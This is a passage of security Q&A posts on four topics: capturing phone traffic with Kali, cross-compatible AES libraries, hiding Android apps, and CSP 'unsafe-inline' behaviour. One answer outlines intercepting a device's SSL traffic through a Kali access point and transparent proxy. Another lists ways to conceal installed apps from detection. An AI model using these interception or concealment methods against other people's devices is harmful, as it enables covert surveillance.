Is there a setting I am missing somewhere? Could this possibly be a hardware limitation that is preventing the capture of inbound traffic?

I ran many Google searches, but all I could find were results on not being able to see outbound traffic.

Edit
Here is a rough diagram of the network layout-

       Traffic between devices
Phone <------------------------> Wifi Hotspot
                 |
                 |
                 |
        Kali sniffing Traffic

Traffic goes from the phone to the hotspot and back with Kali listening in. Kali can see the traffic from the phone to hotspot, but isn't seeing the hotspot to phone traffic. In other words, the source address is always the phone's IP. As I said above, I used the ip.addr== filter which from everything I've read is supposed to show traffic to and from the device.

I would suggest you set up an access point with Kali. Using this approach you can even set up a transparent proxy and open SSL Tunnels to sniff on ssl traffic.

Apps that verify certificates might still give you trouble and wont initiate connections tough (as they should).


AES encryption library that works on Javascript and Java A company I work for wants to make a small utility to allow their employees to share information with each other. I need a simple AES library that allows the user to enter a message and password and spit out the encrypted text. When they copy and paste that into a standard messaging software like email or SMS, the user on the other end puts in the same password and the text is decrypted.

I've been able to find libraries that work on Javascript, but we also need one that works on Java. I was not able to get a library for Java that encrypted the same as the Javascript library. Meaning, I could not encrypt using the Java app and then decrypt using the Javascript app.

Are there any libraries that are secure and have a Javascript and Java cross code compatible AES encryption?

As long as you are performing encryption/decryption using the same cipher, mode, IV, and other parameters (which can depend on the mode, e.g., padding, associated data, tag-length) then any two libraries should be compatible.

You should test both the JavaScript and the Java libraries on known test-vectors to confirm both are working properly and to confirm that you know that all parameters are set correctly.

Here is a specific example of two crypto libraries that should be mutually consistent: The Stanford Javascript Crypto Library (https://crypto.stanford.edu/sjcl/) and the BouncyCastle Java library (https://www.bouncycastle.org/java.html).

I checked that the above libraries give consistent results for AES in CCM mode.

Update:

Below is an example of a test vector you could try. For this test I used the AES cipher and the CCM mode. I also used a "tag length" parameter of 64 bits and I used no "associated data."

Using the key:

b058d2931f46abb2a6062abcddf61d75

Using the Initialization Vector:

ed77b0e43daccec06c41f472

The plain text:

  849c27d7333fe9fb769725b0f29a6b0d977e504976d709b8b6ef542e455504a20243e9ff2ea72da8ab709f983f85349f0ccb63a3c3d70225b8c06305592487193b8599c4aeeecc513d9f71bce28fa0f3a9ba5b310fed302a360b73e7a546793f1dd7b17c1dfcb6348c1f2dfe86dab6

Encrypts to the cipher text:

  9f14fa396445bf0e206b123e090edf1c41c6ee6b85ec9963721075b9261006b83a68c3179e2824d45ad4a10e0cd44a66b9c4c12c57424a2dff701eac89d968a64b3b221864a163cc9425ee687bdb283c0b9931b5abde531a6e43737ddea7f715779a8ec15ff06808eb54f0e538c5ef4b4f224418c69b9b


Hide an app on Android Is there any way to completely block anyone or anything from detecting an app that is installed on any Android device? Not from physically looking through someone's device but from google or any outside program or company scanning a device?

On a stock Android OS from a major vendor it's very unlikely that there will be a function which allows hiding an app completely. Since Android is open source though there's always the possibility someone creates a version with a kernel mod that allows the user to specify certain apps should be hidden and not listed.

One naive way of hiding an app is to use a third party launcher which doesn't list the app on the launcher. This doesn't fully hide the app though as it would be visible in the list of installed apps. One such example would be the Nova Launcher.

There are apps called "lockers" which attempt to disable or hide apps until they are unlocked. There are many of these apps and some may be more successful than others, especially if they require a rooted device. Some third party Android firmwares such as Lineage OS have this option built in by default.

There's another app I ran into that claims to copy a target app I to itself and run in a sandbox like mode. This would make it appear as if the app being protected wasn't installed.

Note: I am not recommending any of these apps, I'm simply including their names as examples of their type of solution that is available.


CSP - Unsafe-inline or unsafe-eval for specific domain is allowed or not Following is a CSP policy, for example derived sample response headers.

The implementation below allows white-listed domains only in "script-src" directive but the 'unsafe-inline' and 'unsafe-eval' directives are also used next 'self'.

Will this 'unsafe-inline' / 'unsafe-eval' be used by all white-listed domains including 'self' or is it only for 'self' domain?

content-security-policy:
script-src https://test1dummy.com/
 https://www.google.com/
 'self' 'unsafe-inline' 'unsafe-eval'
 https://test2dummy/
 https://test3dummy

That CSP directive will allows the use of inline resources, such as inline  elements, javascript: URLs, inline event handlers, and inline  elements, plus also allows the use of eval() and similar methods for creating code from strings.

So... don't bother using CSP. You've just allowed all the bad guys in anyway.

If you change that construct to

content-security-policy: script-src https://test1dummy.com/ https://www.google.com/ 'self' https://test2dummy/ https://test3dummy

then you've restricted scripts to run from code files on the site itself, plus any of the whitelisted URLS.

<script type='text/javascript' src='https://test1dummy.com/testscript.js'</script>

is valid, because test1dummy.com is whitelisted.

<script type='text/javascript' src='https://mydomain.com/testscript2.js'</script>

is valid - but only if mydomain.com is the domain that the CSP headers are running on. If not, then that won't be valid.

<script type="text/javascript">document.write("Hello admin");<script>

This would NOT be valid, now that we've removed the inline-unsafe option.

If we have a script which is running on a whitelisted domain, such as

<script type='text/javascript' src='https://test1dummy.com/testscript.js'</script>

and that script itself ends up modifying the DOM and injecting inline script, then that will also be caught by your construct and blocked. And so on, ad-infinitum. Tracking down the script that adds the inline JS is a lot of fun with CSP headers. In the same way, if you leave the 'unsafe-inline' option in place, any of your whitelisted domains can add inline code to your page.